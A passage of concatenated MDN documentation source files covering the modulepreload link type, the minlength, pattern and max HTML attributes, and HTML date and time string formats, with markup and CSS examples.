(default), then the credentials mode is [`same-origin`](/en-US/docs/Web/API/Request/credentials#same-origin), and user credentials such as cookies and authentication are only sent for requests with the `same-origin`. If `crossorigin` is set to [`use-credentials`](/en-US/docs/Web/HTML/Attributes/crossorigin#use-credentials) then the credentials mode is [`include`](/en-US/docs/Web/API/Request/credentials#include), and user credentials for both single- and cross-origin requests. The [`as`](/en-US/docs/Web/HTML/Element/link#as) attribute is optional for links with `rel="modulepreload"`, and defaults to `"script"`. It can be set to `"script"` or any script-like destination, such as `"audioworklet"`, `"paintworklet"`, `"serviceworker"`, `"sharedworker"`, or `"worker"`. An [`Event`](/en-US/docs/Web/API/Event/Event) named "error" is fired on the element if any other destination is used. A browser _may_ additionally also choose to automatically fetch any dependencies of the module resource. Note however that this is a browser-specific optimization — the only approach to ensure that all browsers will try to preload a module's dependencies is to individually specify them! Further, the events named `load` or `error` fire immediately following success or failure of loading the _specified_ resources. If dependencies are automatically fetched, no additional events are fired in the main thread (although you might monitor additional requests in a service worker or on the server). ## Examples Consider the [basic-modules](https://github.com/mdn/js-examples/tree/main/module-examples/basic-modules) example ([live version](https://mdn.github.io/js-examples/module-examples/basic-modules/)), introduced in the [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules#basic_example_structure) guide. This has a file structure as shown below, consisting of the top level module `main.js`, which statically imports two dependency modules `modules/canvas.js` and `modules/square.js` using the [`import` statement](/en-US/docs/Web/JavaScript/Reference/Statements/import). ```plain index.html main.js modules/ canvas.js square.js ``` The HTML for the example below shows how `main.js` is fetched in a `<script>` element. Only after `main.js` has loaded does the browser discover and fetch the two dependency modules. ```html <!doctype html> <html lang="en-US"> <head> <meta charset="utf-8" /> <title>Basic JavaScript module example</title> <style> canvas { border: 1px solid black; } </style> <script type="module" src="main.js"></script> </head> <body></body> </html> ``` The HTML below updates the example to use `<link>` elements with `rel="modulepreload"` for the main file and each of the dependency modules. This is much faster because the three modules all start downloading asynchronously and in parallel before they are needed. By the time `main.js` has been parsed and its dependencies are known, they have already been fetched and downloaded. ```html <!doctype html> <html lang="en-US"> <head> <meta charset="utf-8" /> <title>Basic JavaScript module example</title> <link rel="modulepreload" href="main.js" /> <link rel="modulepreload" href="modules/canvas.js" /> <link rel="modulepreload" href="modules/square.js" /> <style> canvas { border: 1px solid black; } </style> <script type="module" src="main.js"></script> </head> <body></body> </html> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) for a comparison of `<link rel="modulepreload">` and other similar performance improvement features. - [Preloading modules](https://developer.chrome.com/blog/modulepreload) (developer.chrome.com)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/minlength/index.md
--- title: "HTML attribute: minlength" slug: Web/HTML/Attributes/minlength page-type: html-attribute browser-compat: - html.elements.input.minlength - html.elements.textarea.minlength --- {{HTMLSidebar}} The **`minlength`** attribute defines the minimum [string length](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length) that the user can enter into an {{htmlelement('input')}} or {{htmlelement('textarea')}}. The attribute must have an integer value of 0 or higher. The length is measured in UTF-16 code units, which ([for most scripts](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length#strings_with_length_not_equal_to_the_number_of_characters)) is equivalent to the number of characters. If no `minlength` is specified, or an invalid value is specified, the input has no minimum length. This value must be less than or equal to the value of [maxlength](/en-US/docs/Web/HTML/Attributes/maxlength), otherwise the value will never be valid, as it is impossible to meet both criteria. The input will fail constraint validation if the length of the text value of the field is less than minlength UTF-16 code units long, with {{domxref('validityState.tooShort')}} returning `true`. Constraint validation is only applied when the value is changed by the user. Once submission fails, some browsers will display an error message indicating the minimum length required and the current length. {{EmbedInteractiveExample("pages/tabbed/attribute-minlength.html", "tabbed-shorter")}} ## Examples By adding `minlength="5"`, the value must either be empty or five characters or longer to be valid. ```html <label for="fruit">Enter a fruit name that is at least 5 letters long</label> <input type="text" minlength="5" id="fruit" /> ``` We can use pseudoclasses to style the element based on whether the value is valid. The value will be valid as long as it is either null (empty) or five or more characters long. _Lime_ is invalid, _lemon is valid_. ```css input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus { background-image: linear-gradient(pink, lightgreen); } ``` {{EmbedLiveSample('Examples', '100%', 200)}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`maxlength`](/en-US/docs/Web/HTML/Attributes/maxlength) - [`size`](/en-US/docs/Web/HTML/Attributes/size) - [`pattern`](/en-US/docs/Web/HTML/Attributes/pattern) - [Constraint validation](/en-US/docs/Web/HTML/Constraint_validation) - [Form validation](/en-US/docs/Learn/Forms/Form_validation) - {{htmlelement('input')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/pattern/index.md
--- title: "HTML attribute: pattern" slug: Web/HTML/Attributes/pattern page-type: html-attribute browser-compat: html.elements.input.pattern --- {{HTMLSidebar}} The **`pattern`** attribute specifies a [regular expression](/en-US/docs/Web/JavaScript/Guide/Regular_expressions) the form control's value should match. If a non-`null` value doesn't conform to the constraints set by the `pattern` value, the {{domxref('ValidityState')}} object's read-only {{domxref('ValidityState.patternMismatch','patternMismatch')}} property will be true. {{EmbedInteractiveExample("pages/tabbed/attribute-pattern.html", "tabbed-shorter")}} ## Overview The `pattern` attribute is an attribute of the {{HTMLElement("input/text", "text")}}, {{HTMLElement("input/tel", "tel")}}, {{HTMLElement("input/email", "email")}}, {{HTMLElement("input/url", "url")}}, {{HTMLElement("input/password", "password")}}, and {{HTMLElement("input/search", "search")}} input types. The `pattern` attribute, when specified, is a regular expression which the input's [`value`](/en-US/docs/Web/HTML/Element/input#value) must match for the value to pass [constraint validation](/en-US/docs/Web/HTML/Constraint_validation). It must be a valid JavaScript regular expression, as used by the {{jsxref("RegExp")}} type, and as documented in our [guide on regular expressions](/en-US/docs/Web/JavaScript/Guide/Regular_expressions). The pattern's regular expression is compiled with the [`'v'` flag](/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_class#v-mode_character_class). This makes the regular expression [unicode-aware](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/unicode#unicode-aware_mode), and also changes how character classes are interpreted. This allows character class set intersection and subtraction operations, and in addition to `]` and `\`, the following characters must be escaped using a `\` backslash if they represent literal characters: `(`, `)`, `[`, `{`, `}`, `/`, `-`, `|`. Before mid-2023, the `'u'` flag was specified instead; If you're updating older code, [this document outlines the differences](https://github.com/tc39/proposal-regexp-v-flag#how-is-the-v-flag-different-from-the-u-flag). The pattern's regular expression must match the entire input's `value`, rather than matching a substring - as if a `^(?:` were implied at the start of the pattern and `)$` at the end. No forward slashes should be specified around the pattern text. No regular expression is applied if the attribute value is absent, an empty string, or invalid. Some of the input types supporting the pattern attribute, notably the {{HTMLElement("input/email", "email")}} and {{HTMLElement("input/url", "url")}} input types, have expected value syntaxes that must be matched. If the pattern attribute isn't present, and the value doesn't match the expected syntax for that value type, the {{domxref('ValidityState')}} object's read-only {{domxref('ValidityState.typeMismatch','typeMismatch')}} property will be true. ### Constraint validation If the input's value is not the empty string and the value does not match the entire regular expression, there is a constraint violation reported by the {{domxref('ValidityState')}} object's {{domxref('ValidityState.patternMismatch','patternMismatch')}} property being `true`. > **Note:** If the `pattern` attribute is specified with no value, its value is implicitly the empty string. Thus, **any non-empty** input `value` will result in constraint violation. ### Usability and accessibility considerations When including a `pattern`, provide a description of the pattern in visible text near the control. Additionally, include a [`title`](/en-US/docs/Web/HTML/Element/input#title) attribute which gives a description of the pattern. User agents may use the title contents during constraint validation to tell the user that the pattern is not matched. Some browsers show a tooltip with title contents, improving usability for sighted users. Additionally, assistive technology may read the title aloud when the control gains focus, but this should not be relied upon for accessibility. Only relying on the `title` attribute for the visual display of text content is discouraged, as many user agents do not expose the attribute in an accessible manner. Although some browsers show a tooltip when an element with a title is hovered, that leaves out keyboard-only and touch-only users. This is one of the several reasons you must include information informing users how to fill out the control to match the requirements. While `title`s are used by some browsers to populate error messaging, because browsers sometimes also show the title as text on hover, it therefore shows in non-error situations, so be careful not to word titles as if an error has occurred. ## Examples ### Matching a phone number Given the following: ```html <p> <label> Enter your phone number in the format (123) - 456 - 7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2" />) - <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2" /> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3" /> </label> </p> ``` Here we have 3 sections for a north American phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the `pattern` attribute set on each. If the values are too long or too short, or contain characters that aren't digits, the `patternMismatch` will be true. When `true`, the element matches the {{cssxref(":invalid")}} CSS pseudo-classes. ```css input:invalid { border: red solid 3px; } ``` {{EmbedLiveSample("Matching_a_phone_number", 300, 80)}} If we had used [`minlength`](/en-US/docs/Web/HTML/Attributes/minlength) and [`maxlength`](/en-US/docs/Web/HTML/Attributes/maxlength) attributes instead, we may have seen {{domxref('validityState.tooLong')}} or {{domxref('validityState.tooShort')}} being true. ### Specifying a pattern You can use the [`pattern`](/en-US/docs/Web/HTML/Element/input#pattern) attribute to specify a regular expression that the inputted value must match in order to be considered valid (see [Validating against a regular expression](/en-US/docs/Learn/Forms/Form_validation#validating_against_a_regular_expression) for a simple crash course on using regular expressions to validate inputs). The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters. ```html <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required size="45" pattern="[a-z]{4,8}" title="4 to 8 lowercase letters" /> <span class="validity"></span> <p>Usernames must be lowercase and 4-8 characters in length.</p> </div> <div> <button>Submit</button> </div> </form> ``` ```css hidden div { margin-bottom: 10px; position: relative; } p { font-size: 80%; color: #999; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; } ``` This renders like so: {{ EmbedLiveSample('Specifying_a_pattern', 600, 110) }} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Constraint validation](/en-US/docs/Web/HTML/Constraint_validation) - [Forms: Data form validation](/en-US/docs/Learn/Forms/Form_validation) - [Regular Expressions](/en-US/docs/Web/JavaScript/Guide/Regular_expressions)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/max/index.md
--- title: "HTML attribute: max" slug: Web/HTML/Attributes/max page-type: html-attribute browser-compat: - html.elements.input.max - html.elements.meter.max - html.elements.progress.max --- {{HTMLSidebar}} The **`max`** attribute defines the maximum value that is acceptable and valid for the input containing the attribute. If the [`value`](/en-US/docs/Web/HTML/Element/input#value) of the element is greater than this, the element fails [validation](/en-US/docs/Learn/Forms/Form_validation). This value must be greater than or equal to the value of the [`min`](min) attribute. If the `max` attribute is present but is not specified or is invalid, no `max` value is applied. If the `max` attribute is valid and a non-empty value is greater than the maximum allowed by the `max` attribute, constraint validation will prevent form submission. Valid for the numeric input types, including the {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} and {{HTMLElement("input/range", "range")}} types, and both the {{htmlelement('progress')}} and {{htmlelement('meter')}} elements, the `max` attribute is a number that specifies the most positive value a form control to be considered valid. If the value exceeds the max value allowed, the {{domxref('validityState.rangeOverflow')}} will be true, and the control will be matched by the {{cssxref(':out-of-range')}} and {{cssxref(':invalid')}} pseudo-classes. ### Syntax <table class="no-markdown"> <caption> Syntax for <code>max</code> values by input <code>type</code> </caption> <thead> <tr> <th>Input type</th> <th>Syntax</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>{{HTMLElement("input/date", "date")}}</td> <td><code>yyyy-mm-dd</code></td> <td><code>&#x3C;input type="date" max="2019-12-25" step="1"></code></td> </tr> <tr> <td>{{HTMLElement("input/month", "month")}}</td> <td><code>yyyy-mm</code></td> <td><code>&#x3C;input type="month" max="2019-12" step="12"></code></td> </tr> <tr> <td>{{HTMLElement("input/week", "week")}}</td> <td><code>yyyy-W##</code></td> <td><code>&#x3C;input type="week" max="2019-W23" step=""></code></td> </tr> <tr> <td>{{HTMLElement("input/time", "time")}}</td> <td><code>hh:mm</code></td> <td><code>&#x3C;input type="time" max="17:00" step="900"></code></td> </tr> <tr> <td> {{HTMLElement("input/datetime-local", "datetime-local")}} </td> <td><code>yyyy-mm-ddThh:mm</code></td> <td> <code>&#x3C;input type="datetime-local" max="2019-12-25T23:59"></code> </td> </tr> <tr> <td>{{HTMLElement("input/number", "number")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code>&#x3C;input type="number" min="0" step="5" max="100"></code> </td> </tr> <tr> <td>{{HTMLElement("input/range", "range")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code>&#x3C;input type="range" min="60" step="5" max="100"></code> </td> </tr> </tbody> </table> > **Note:** When the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in constraint validation and will match the {{cssxref(':invalid')}} and {{cssxref(':out-of-range')}} pseudo-classes. See [Client-side validation](/en-US/docs/Web/HTML/Constraint_validation) and {{domxref("ValidityState.rangeOverflow", "rangeOverflow")}} for more information. For the {{htmlelement('progress')}} element, the `max` attribute describes how much work the task indicated by the `progress` element requires. If present, must have a value greater than zero and be a valid floating point number. For the {{htmlelement('meter')}} element, the `max` attribute defines the upper numeric bound of the measured range. This must be greater than the minimum value ([`min`](/en-US/docs/Web/HTML/Attributes/min) attribute), if specified. In both cases, if omitted, the value defaults to 1. <table class="no-markdown"> <caption> Syntax for <code>max</code> values for other elements </caption> <thead> <tr> <th>Input type</th> <th>Syntax</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>{{HTMLElement("progress")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code >&#x3C;progress id="file" max="100" value="70"> 70% &#x3C;/progress></code > </td> </tr> <tr> <td>{{HTMLElement("meter")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code >&#x3C;meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"> at 40/100&#x3C;/meter></code > </td> </tr> </tbody> </table> ## Accessibility concerns Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `max` attribute, ensure this maximum requirement is understood by the user. Providing instructions within the {{htmlelement('label')}} may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) or [`aria-describedby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`step`](/en-US/docs/Web/HTML/Attributes/step) - [`min`](/en-US/docs/Web/HTML/Attributes/min) - other meter attributes: [`low`](/en-US/docs/Web/HTML/Attributes/low), [`high`](/en-US/docs/Web/HTML/Attributes/high), [`optimum`](/en-US/docs/Web/HTML/Attributes/optimum) - [Constraint validation](/en-US/docs/Web/HTML/Constraint_validation) - [Form validation](/en-US/docs/Learn/Forms/Form_validation) - {{domxref('validityState.rangeOverflow')}} - {{cssxref(':out-of-range')}} - {{htmlelement('input')}} - {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} and {{HTMLElement("input/range", "range")}} types, and the {{htmlelement('meter')}}
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/date_and_time_formats/index.md
--- title: Date and time formats used in HTML slug: Web/HTML/Date_and_time_formats page-type: guide --- {{HTMLSidebar}} Certain HTML elements use date and/or time values. The formats of the strings that specify these values are described in this article. Elements that use such formats include certain forms of the {{HTMLElement("input")}} element that let the user choose or specify a date, time, or both, as well as the {{HTMLElement("ins")}} and {{HTMLElement("del")}} elements, whose [`datetime`](/en-US/docs/Web/HTML/Element/ins#datetime) attribute specifies the date or date and time at which the insertion or deletion of content occurred. For `<input>`, the values of [`type`](/en-US/docs/Web/HTML/Element/input#type) that return a [`value`](/en-US/docs/Web/HTML/Global_attributes#value) which contains a string representing a date and/or time are: - [`date`](/en-US/docs/Web/HTML/Element/input/date) - [`datetime-local`](/en-US/docs/Web/HTML/Element/input/datetime-local) - [`month`](/en-US/docs/Web/HTML/Element/input/month) - [`time`](/en-US/docs/Web/HTML/Element/input/time) - [`week`](/en-US/docs/Web/HTML/Element/input/week) ## Examples Before getting into the intricacies of how date and time strings are written and parsed in HTML, here are some examples that should give you a good idea what the more commonly-used date and time string formats look like. <table class="standard-table"> <caption> Example HTML date and time strings </caption> <thead> <tr> <th scope="col">String</th> <th colspan="2" scope="col">Date and/or time</th> </tr> </thead> <tbody> <tr> <td><code>2005-06-07</code></td> <td>June 7, 2005</td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#date_strings" >[details]</a > </td> </tr> <tr> <td><code>08:45</code></td> <td>8:45 AM</td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#time_strings" >[details]</a > </td> </tr> <tr> <td><code>08:45:25</code></td> <td>8:45 AM and 25 seconds</td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#time_strings" >[details]</a > </td> </tr> <tr> <td><code>0033-08-04T03:40</code></td> <td>3:40 AM on August 4, 33</td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#local_date_and_time_strings" >[details]</a > </td> </tr> <tr> <td><code>1977-04-01T14:00:30</code></td> <td>30 seconds after 2:00 PM on April 1, 1977</td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#local_date_and_time_strings" >[details]</a > </td> </tr> <tr> <td><code>1901-01-01T00:00Z</code></td> <td>Midnight UTC on January 1, 1901</td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#global_date_and_time_strings" >[details]</a > </td> </tr> <tr> <td><code>1901-01-01T00:00:01-04:00</code></td> <td> 1 second past midnight Eastern Standard Time (EST) on January 1, 1901 </td> <td> <a href="/en-US/docs/Web/HTML/Date_and_time_formats#global_date_and_time_strings" >[details]</a > </td> </tr> </tbody> </table> ## Basics Before looking at the various formats of date and time related strings used by HTML elements, it is helpful to understand a few fundamental facts about the way they're defined. HTML uses a variation of the [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) standard for its date and time strings. It's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with HTML, as the HTML specification includes algorithms for parsing these strings that is actually more precise than ISO 8601, so there can be subtle differences in how date and time strings are expected to look. ### Character set Dates and times in HTML are always strings which use the {{Glossary("ASCII")}} character set. ### Year numbers In order to simplify the basic format used for date strings in HTML, the specification requires that all years be given using the modern (or **proleptic**) [Gregorian calendar](https://en.wikipedia.org/wiki/Gregorian_calendar). While user interfaces may allow entry of dates using other calendars, the underlying value always uses the Gregorian calendar. While the Gregorian calendar wasn't created until the year 1582 (replacing the similar Julian calendar), for HTML's purposes, the Gregorian calendar is extended back to the year 1 C.E. Make sure any older dates account for this. For the purposes of HTML dates, years are always at least four digits long; years prior to the year 1000 are padded with leading zeroes ("`0`"), so the year 72 is written as `0072`. Years prior to the year 1 C.E. are not supported, so HTML doesn't support years 1 B.C.E. (1 B.C.) or earlier. A year is normally 365 days long, except during **[leap years](#leap_years)**. #### Leap years A **leap year** is any year which is divisible by 400 _or_ the year is divisible by 4 but not by 100. Although the calendar year is normally 365 days long, it actually takes the planet Earth approximately 365.2422 days to complete a single orbit around the sun. Leap years help to adjust the calendar to keep it synchronized with the actual position of the planet in its orbit. Adding a day to the year every four years essentially makes the average year 365.25 days long, which is close to correct. The adjustments to the algorithm (taking a leap year when the year can be divided by 400, and skipping leap years when the year is divisible by 100) help to bring the average even closer to the correct number of days (365.2425 days). Scientists occasionally add leap seconds to the calendar (seriously) to handle the remaining three ten-thousandths of a day and to compensate for the gradual, naturally occurring slowing of Earth's rotation. While month `02`, February, normally has 28 days, it has 29 days in leap years. ### Months of the year There are 12 months in the year, numbered 1 through 12. They are always represented by a two-digit ASCII string whose value ranges from `01` through `12`. See the table in the section [Days of the month](#days_of_the_month) for the month numbers and their corresponding names (and lengths in days). ### Days of the month Month numbers 1, 3, 5, 7, 8, 10, and 12 are 31 days long. Months 4, 6, 9, and 11 are 30 days long. Month 2, February, is 28 days long most years, but is 29 days long in leap years. This is detailed in the following table. <table class="standard-table"> <caption> The months of the year and their lengths in days </caption> <thead> <tr> <th scope="row">Month number</th> <th scope="col">Name (English)</th> <th scope="col">Length in days</th> </tr> </thead> <tbody> <tr> <th scope="row">01</th> <td>January</td> <td>31</td> </tr> <tr> <th scope="row">02</th> <td>February</td> <td>28 (29 in leap years)</td> </tr> <tr> <th scope="row">03</th> <td>March</td> <td>31</td> </tr> <tr> <th scope="row">04</th> <td>April</td> <td>30</td> </tr> <tr> <th scope="row">05</th> <td>May</td> <td>31</td> </tr> <tr> <th scope="row">06</th> <td>June</td> <td>30</td> </tr> <tr> <th scope="row">07</th> <td>July</td> <td>31</td> </tr> <tr> <th scope="row">08</th> <td>August</td> <td>31</td> </tr> <tr> <th scope="row">09</th> <td>September</td> <td>30</td> </tr> <tr> <th scope="row">10</th> <td>October</td> <td>31</td> </tr> <tr> <th scope="row">11</th> <td>November</td> <td>30</td> </tr> <tr> <th scope="row">12</th> <td>December</td> <td>31</td> </tr> </tbody> </table> ## Week strings A week string specifies a week within a particular year. A **valid week string** consists of a valid [year number](#year_numbers), followed by a hyphen character ("`-`", or U+002D), then the capital letter "`W`" (U+0057), followed by a two-digit week of the year value. The week of the year is a two-digit string between `01` and `53`. Each week begins on Monday and ends on Sunday. That means it's possible for the first few days of January to be considered part of the previous week-year, and for the last few days of December to be considered part of the following week-year. The first week of the year is the week that contains the _first Thursday of the year_. For example, the first Thursday of 1953 was on January 1, so that week—beginning on Monday, December 29—is considered the first week of the year. Therefore, December 30, 1952 occurs during the week `1953-W01`. A year has 53 weeks if: - The first day of the calendar year (January 1) is a Thursday **or** - The first day of the year (January 1) is a Wednesday and the year is a [leap year](#leap_years) All other years have 52 weeks. | Week string | Week and year (Date range) | | ----------- | ------------------------------------------------- | | `2001-W37` | Week 37, 2001 (September 10-16, 2001) | | `1953-W01` | Week 1, 1953 (December 29, 1952-January 4, 1953) | | `1948-W53` | Week 53, 1948 (December 27, 1948-January 2, 1949) | | `1949-W01` | Week 1, 1949 (January 3-9, 1949) | | `0531-W16` | Week 16, 531 (April 13-19, 531) | | `0042-W04` | Week 4, 42 (January 21-27, 42) | Note that both the year and week numbers are padded with leading zeroes, with the year padded to four digits and the week to two. ## Month strings A month string represents a specific month in time, rather than a generic month of the year. That is, rather than representing "January," an HTML month string represents a month and year paired, like "January 1972." A **valid month string** consists of a valid [year number](#year_numbers) (a string of at least four digits), followed by a hyphen character ("`-`", or U+002D), followed by a two-digit numeric [month number](#months_of_the_year), where `01` represents January and `12` represents December. | Month string | Month and year | | ------------ | ---------------- | | `17310-09` | September, 17310 | | `2019-01` | January, 2019 | | `1993-11` | November, 1993 | | `0571-04` | April, 571 | | `0001-07` | July, 1 C.E. | Notice that all years are at least four characters long; years that are fewer than four digits long are padded with leading zeroes. ## Date strings A valid date string consists of a [month string](#month_strings), followed by a hyphen character ("`-`", or U+002D), followed by a two-digit [day of the month](#days_of_the_month). | Date string | Full date | | ------------ | ---------------- | | `1993-11-01` | November 1, 1993 | | `1066-10-14` | October 14, 1066 | | `0571-04-22` | April 22, 571 | | `0062-02-05` | February 5, 62 | ## Time strings A time string can specify a time with precision to the minute, second, or to the millisecond. Specifying only the hour or minute isn't permitted. A **valid time string** minimally consists of a two-digit hour followed by a colon ("`:`", U+003A), then a two-digit minute. The minute may optionally be followed by another colon and a two-digit number of seconds. Milliseconds may be specified, optionally, by adding a decimal point character ("`.`", U+002E) followed by one, two, or three digits. There are some additional basic rules: - The hour is always specified using the 24-hour clock, with `00` being midnight and 11 PM being `23`. No values outside the range `00` – `23` are permitted. - The minute must be a two-digit number between `00` and `59`. No values outside that range are allowed. - If the number of seconds is omitted (to specify a time accurate only to the minute), no colon should follow the number of minutes. - If specified, the integer portion of the number of seconds must be between `00` and `59`. You _cannot_ specify leap seconds by using values like `60` or `61`. - If the number of seconds is specified and is an integer, it must not be followed by a decimal point. - If a fraction of a second is included, it may be from one to three digits long, indicating the number of milliseconds. It follows the decimal point placed after the seconds component of the time string. | Time string | Time | | ------------- | --------------------------------------------- | | `00:00:30.75` | 12:00:30.75 AM (30.75 seconds after midnight) | | `12:15` | 12:15 PM | | `13:44:25` | 1:44:25 PM (25 seconds after 1:44 PM) | ## Local date and time strings A valid [`datetime-local`](/en-US/docs/Web/HTML/Element/input/datetime-local) string consists of a `date` string and a `time` string concatenated together with either the letter "`T`" or a space character separating them. No information about the time zone is included in the string; the date and time is presumed to be in the user's local time zone. When you set the [`value`](/en-US/docs/Web/HTML/Element/input#value) of a `datetime-local` input, the string is **normalized** into a standard form. Normalized `datetime` strings always use the letter "`T`" to separate the date and the time, and the time portion of the string is as short as possible. This is done by leaving out the seconds component if its value is `:00`. <table class="standard-table"> <caption> Examples of valid <code>datetime-local</code> strings </caption> <thead> <tr> <th scope="col">Date/time string</th> <th scope="col">Normalized date/time string</th> <th scope="col">Actual date and time</th> </tr> </thead> <tbody> <tr> <td><code>1986-01-28T11:38:00.01</code></td> <td><code>1986-01-28T11:38:00.01</code></td> <td>January 28, 1986 at 11:38:00.01 AM</td> </tr> <tr> <td><code>1986-01-28 11:38:00.010</code></td> <td> <p><code>1986-01-28T11:38:00.01</code></p> <p> Note that after normalization, this is the same string as the previous <code>datetime-local</code> string. The space has been replaced with the "<code>T</code>" character and the trailing zero in the fraction of a second has been removed to make the string as short as possible. </p> </td> <td>January 28, 1986 at 11:38:00.01 AM</td> </tr> <tr> <td><code>0170-07-31T22:00:00</code></td> <td> <p><code>0170-07-31T22:00</code></p> <p> Note that the normalized form of this date drops the "<code>:00</code>" indicating the number of seconds to be zero, because the seconds are optional when zero, and the normalized string minimizes the length of the string. </p> </td> <td>July 31, 170 at 10:00 PM</td> </tr> </tbody> </table> ## Global date and time strings A global date and time string specifies a date and time as well as the time zone in which it occurs. A **valid global date and time string** is the same format as a [local date and time string](#local_date_and_time_strings), except it has a time zone string appended to the end, following the time. ### Time zone offset string A time zone offset string specifies the offset in either a positive or a negative number of hours and minutes from the standard time base. There are two standard time bases, which are very close to the same, but not exactly the same: - For dates after the establishment of [Coordinated Universal Time](https://en.wikipedia.org/wiki/Coordinated_Universal_Time) (UTC) in the early 1960s, the time base is `Z` and the offset indicates a particular time zone's offset from the time at the prime meridian at 0º longitude (which passes through the Royal Observatory at Greenwich, England). - For dates prior to UTC, the time base is instead expressed in terms of [UT1](https://en.wikipedia.org/wiki/UT1), which is the contemporary Earth solar time at the prime meridian. The time zone string is appended immediately following the time in the date and time string. You can specify "`Z`" as the time zone offset string to indicate that the time is specified in UTC. Otherwise, the time zone string is constructed as follows: 1. A character indicating the sign of the offset: the plus character ("`+`", or U+002B) for time zones to the east of the prime meridian or the minus character ("`-`", or U+002D) for time zones to the west of the prime meridian. 2. A two-digit number of hours that the time zone is offset from the prime meridian. This value must be between `00` and `23`. 3. An optional colon ("`:`") character. 4. A two-digit number of minutes past the hour; this value must be between `00` and `59`. While this format allows for time zones between -23:59 and +23:59, the current range of time zone offsets is -12:00 to +14:00, and no time zones are currently offset from the hour by anything other than `00`, `30`, or `45` minutes. This may change at more or less anytime, since countries are free to tamper with their time zones at any time and in any way they wish to do so. <table class="no-markdown"> <caption> Examples of valid global date and time strings </caption> <thead> <tr> <th scope="col">Global date and time string</th> <th scope="col">Actual global date and time</th> <th scope="col">Date and time at prime meridian</th> </tr> </thead> <tbody> <tr> <td><code>2005-06-07T00:00Z</code></td> <td>June 7, 2005 at midnight UTC</td> <td>June 7, 2005 at midnight</td> </tr> <tr> <td><code>1789-08-22T12:30:00.1-04:00</code></td> <td> August 22, 1789 at a tenth of a second past 12:30 PM Eastern Daylight Time (EDT) </td> <td>August 22, 1789 at a tenth of a second past 4:30 PM</td> </tr> <tr> <td><code>3755-01-01 00:00+10:00</code></td> <td> January 1, 3755 at midnight Australian Eastern Standard Time (AEST) </td> <td>December 31, 3754 at 2:00 PM</td> </tr> </tbody> </table> ## Date issues Because of data storage and precision issues, you may want to be aware of a few client-side and server-side issues. ### The Y2K38 Problem (often server-side) JavaScript uses double precision floating points to store dates, as with all numbers, meaning that JavaScript code will not suffer from the Y2K38 problem unless integer coercion/bit-hacks are used because all JavaScript bit operators use 32-bit signed 2s-complement integers. The problem is with the server side of things: storage of dates greater than 2^31 - 1. To fix this problem, you must store all dates using either unsigned 32-bit integers, signed 64-bit integers, or double-precision floating points on the server. If your server is written in PHP, the fix may be as simple as upgrading to PHP 8 or 7, and upgrading your hardware to x86_64 or IA64. If you are stuck with other hardware, you can try to emulate 64-bit hardware inside a 32-bit virtual machine, but most VMs don't support this kind of virtualization, since stability may suffer, and performance will definitely suffer greatly. ### The Y10k Problem (often client-side) In many servers, dates are stored as numbers instead of as strings--numbers of a fixed size and agnostic of format (aside from endianness). After the year 10,000, those numbers will just be a bit bigger than before, so many servers will not see issues with forms submitted after the year 10,000. The problem is with the client side of things: parsing of dates with more than 4 digits in the year. ```html <!--midnight of January 1st, 10000: the exact time of Y10K--> <input type="datetime-local" value="+010000-01-01T05:00" /> 